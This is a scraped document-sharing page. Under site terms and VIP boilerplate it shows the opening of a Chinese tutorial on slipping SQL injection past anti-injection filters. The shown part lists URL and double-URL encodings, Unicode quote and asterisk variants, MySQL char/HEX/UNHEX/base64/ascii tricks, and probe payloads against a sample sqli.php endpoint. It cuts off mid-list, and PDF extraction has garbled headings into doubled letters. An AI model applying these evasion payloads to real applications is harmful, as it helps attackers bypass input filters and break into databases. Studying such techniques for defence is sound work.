突破防注入的技巧突破防注入的技巧.pdfVIP

下载本文档

7
0
约1.45万字
约 11页
2017-12-21 发布于贵州
举报
版权申诉

突破防注入的技巧突破防注入的技巧.pdf

1、原创力文档（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。。
2、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击这里二次下载。
3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。
4、该文档为VIP文档，如果想要下载，成为VIP会员后，下载免费。
5、成为VIP后，下载本文档将扣除1次下载权益。下载后，不支持退款、换文档。如有疑问请联系我们。
6、成为VIP后，您将拥有八大权益，权益包括：VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
7、VIP文档为合作方或网友上传，每下载1次，网站将根据用户上传文档的质量评分、类型等，对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档

突破防注入的技巧突破防注入的技巧

突破防注入的技巧 :Mramydnei :Mramydnei 作者::MMrraammyyddnneeii 空闲之余在国内外找了一些bypass防注入的代码，最后整理成了这个小文章。就像大牛们说的一样木有银弹，所以没有哪个方法是万能的，具体问题还得具体分析。希望大牛们表吐槽.具体的方法我觉得大概可以分为以下几种：第一章通过编码突破防注入 1.1URL 1.1URL 11..11UURRLL编码对参数名进行URL 编码。示例代码: http://localhost/sqli.php?%69d=1and 7=7 对参数值进行URL 编码.示例代码: http://localhost/sqli.php?id=1%20%61%6E%64%20%31%3D%31 对参数值进行URL 双重编码: http://localhost/sqli.php?id=1%25%32%30%25%36%31%25%36%45%25%36%34 %25%32%30%25%33%31%25%33%44%25%33%31 单引号的一些编码: %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 星号的一些编码: %u002a %uff0a %c0%2a %c0%aa %e0%80%aa 1.2 Mysql char : 1.2 Mysql char : 11..22 使用MMyyssqqll 内置函数cchhaarr（）。示例代码:: char(114)=r 1.3 Mysql HEX ,UNHEX(). 1.3 Mysql HEX ,UNHEX(). 11..33 使用MMyyssqqll 内置函数HHEEXX（）,,UUNNHHEEXX(())..示例代码：通过str获取hex 值: selecthex(root) 返回结果:726F6F74 通过hex 获取str: selectunhex( 726F6F74) 返回结果: root 比如:当关键字root被过滤时可以用0x726F6F74代替root 1.4base64 1.4base64 11..44bbaassee6644变型注入：对and 1=1 进行base64编码,得到结果:IGFuZCAxPTE= 1.5 mysql ascii(),ord() : 1.5 mysql ascii(),ord() : 11..55使用mmyyssqqll 内置函数aasscciiii(()),,oorrdd(())。示例代码:: ascii(r)=114 ord(r)=114 第二章替换函数和关键字 2.1 2.1 22..11判断注入点的姿势部分示例: id=1+OR+0x50=0x50 id=1+and+5!=6 And 0(false) And 1(true) /*!or*/1=1 or1=1;%00 and 1=1 2=2 or3=3 Xor4=4 Xor5 LIkE5 or6 rLiKe 6 ||32 37 AnD 1is null AnD 1is not null and 0having=0having and 1=1 2.2 2.2